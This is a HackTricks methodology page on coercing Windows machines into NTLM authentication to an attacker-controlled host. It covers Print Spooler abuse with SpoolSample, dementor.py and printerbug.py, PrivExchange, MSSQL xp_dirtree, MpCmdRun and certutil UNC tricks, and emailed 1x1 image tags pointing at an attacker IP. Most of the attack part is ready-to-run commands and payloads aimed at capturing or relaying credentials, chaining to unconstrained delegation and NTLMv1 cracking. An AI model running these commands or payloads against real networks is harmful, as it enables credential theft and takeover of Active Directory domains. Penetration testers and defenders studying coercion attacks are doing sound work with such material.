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hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
Carlos Polop 79b80044a8 a
2024-02-08 04:06:37 +01:00

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Force NTLM Privileged Authentication

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SharpSystemTriggers

SharpSystemTriggers is a collection of remote authentication triggers coded in C# using MIDL compiler for avoiding 3rd party dependencies.

Spooler Service Abuse

If the Print Spooler service is enabled, you can use some already known AD credentials to request to the Domain Controller’s print server an update on new print jobs and just tell it to send the notification to some system.
Note when printer send the notification to an arbitrary systems, it needs to authenticate against that system. Therefore, an attacker can make the Print Spooler service authenticate against an arbitrary system, and the service will use the computer account in this authentication.

Finding Windows Servers on the domain

Using PowerShell, get a list of Windows boxes. Servers are usually priority, so lets focus there:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Finding Spooler services listening

Using a slightly modified @mysmartlogin's (Vincent Le Toux's) SpoolerScanner, see if the Spooler Service is listening:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Ask the service to authenticate against an arbitrary host

You can compile SpoolSample from here.

SpoolSample.exe <TARGET> <RESPONDERIP>

or use 3xocyte's dementor.py or printerbug.py if you're on Linux

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Combining with Unconstrained Delegation

If an attacker has already compromised a computer with Unconstrained Delegation, the attacker could make the printer authenticate against this computer. Due to the unconstrained delegation, the TGT of the computer account of the printer will be saved in the memory of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to retrieve this ticket and abuse it (Pass the Ticket).

RCP Force authentication

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

The PrivExchange attack is a result of a flaw found in the Exchange Server PushSubscription feature. This feature allows the Exchange server to be forced by any domain user with a mailbox to authenticate to any client-provided host over HTTP.

By default, the Exchange service runs as SYSTEM and is given excessive privileges (specifically, it has WriteDacl privileges on the domain pre-2019 Cumulative Update). This flaw can be exploited to enable the relaying of information to LDAP and subsequently extract the domain NTDS database. In cases where relaying to LDAP is not possible, this flaw can still be used to relay and authenticate to other hosts within the domain. The successful exploitation of this attack grants immediate access to the Domain Admin with any authenticated domain user account.

Inside Windows

If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

Or use this other technique: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

It's possible to use certutil.exe lolbin (Microsoft-signed binary) to coerce NTLM authentication:

certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

Via email

If you know the email address of the user that logs inside a machine you want to compromise, you could just send him an email with a 1x1 image such as

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

and when he opens it, he will try to authenticate.

MitM

If you can perform a MitM attack to a computer and inject HTML in a page he will visualize you could try injecting an image like the following in the page:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Cracking NTLMv1

If you can capture NTLMv1 challenges read here how to crack them.
Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"

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